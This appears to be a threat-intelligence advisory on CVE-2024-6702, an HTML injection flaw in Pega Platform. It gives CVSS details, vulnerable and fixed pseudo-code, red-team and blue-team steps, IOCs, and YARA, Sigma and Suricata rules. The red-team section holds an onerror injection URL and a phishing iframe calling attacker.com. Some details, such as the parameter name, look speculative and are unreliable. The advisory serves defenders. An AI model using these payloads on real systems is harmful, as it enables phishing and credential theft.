CVE-2024-6702

Executive Summary

CVE-2024-6702 is an HTML Injection vulnerability affecting Pega Platform versions 8.1 through Infinity 24.1.2. The vulnerability exists in the "Stage" component, allowing an attacker to inject arbitrary HTML into the application. This can lead to phishing attacks, defacement, or credential theft via crafted payloads. The CVSS score is 5.2 (Medium), and no public proof-of-concept or patch details are currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 5.2 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for user interaction and the limited impact on confidentiality and integrity. However, the vulnerability can be chained with social engineering to achieve more severe outcomes.

Deep Dive & Mechanics

The vulnerability resides in the "Stage" component of Pega Platform, which is used for UI rendering and data presentation. The application fails to properly sanitize user-supplied input before embedding it into HTML output. An attacker can inject arbitrary HTML tags, such as <img>, <iframe>, or <script>, into the page. While the injection is limited to HTML (not full XSS due to potential CSP or encoding), it can still be used to:

• Display fake login forms (phishing)
• Load external resources (e.g., tracking pixels)
• Redirect users to malicious sites
• Deface the application interface

The vulnerability is triggered when a user interacts with a crafted link or form that submits malicious input to the Stage component. The injected HTML is rendered in the context of the victim's session.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern involves direct concatenation of user input into HTML output without encoding. A simplified example:

Vulnerable (Pseudo-code):

String userInput = request.getParameter("stageParam");
response.getWriter().write("<div>" + userInput + "</div>");

Patched (Pseudo-code):

String userInput = request.getParameter("stageParam");
String encodedInput = Encode.forHtml(userInput);
response.getWriter().write("<div>" + encodedInput + "</div>");

The patched version uses context-aware output encoding (e.g., OWASP Java Encoder) to neutralize HTML metacharacters.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a vulnerable Pega Platform instance (version 8.1 to 24.1.2) in a lab environment.
2. Craft Payload: Create a URL with injected HTML:

   https://victim.com/prweb/PRServlet?stageParam=<img src=x onerror=alert(1)>
   

3. Deliver: Send the link to a victim via email or social engineering.
4. Execute: When the victim clicks the link, the injected HTML executes in their browser.

Example Payload (Phishing):

<iframe src="https://attacker.com/fake-login" style="width:100%;height:100%;"></iframe>

Blue Team

1. Monitor: Look for unusual parameters in HTTP requests to the Stage component.
2. Block: Implement WAF rules to block HTML tags in user input.
3. Harden: Apply Content Security Policy (CSP) headers to restrict inline scripts and external resources.
4. Audit: Review application logs for suspicious patterns.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing <, >, ", ' in parameters sent to /prweb/PRServlet or similar endpoints.
• Logs: Application logs showing unencoded HTML tags in user input fields.
• File: No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_6702_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts targeting Pega Platform Stage component"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6702"
    strings:
        $html_tag = /<[a-zA-Z\/!][^>]*>/
        $stage_param = "stageParam"
    condition:
        $stage_param and #html_tag > 0
}

Sigma Rule

title: CVE-2024-6702 HTML Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTML injection attempts in Pega Platform Stage component
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: pega
detection:
    selection:
        cs-uri-query|contains: "stageParam"
        cs-uri-query|re: "<[a-zA-Z\/!][^>]*>"
    condition: selection
falsepositives:
    - Legitimate use of HTML in input fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6702 HTML Injection Attempt"; flow:to_server; content:"stageParam"; http_uri; pcre:"/<[a-zA-Z\/!][^>]*>/"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Apply input validation and output encoding to all user-supplied data in the Stage component.
• Short-term: Implement a Web Application Firewall (WAF) rule to block HTML tags in parameters.
• Long-term: Upgrade to a patched version of Pega Platform once available. Monitor vendor advisories.
• Compensating Controls: Enforce Content Security Policy (CSP) headers to restrict inline scripts and external resources.

Valters IT
DevSecOps & Cyber Threat Intelligence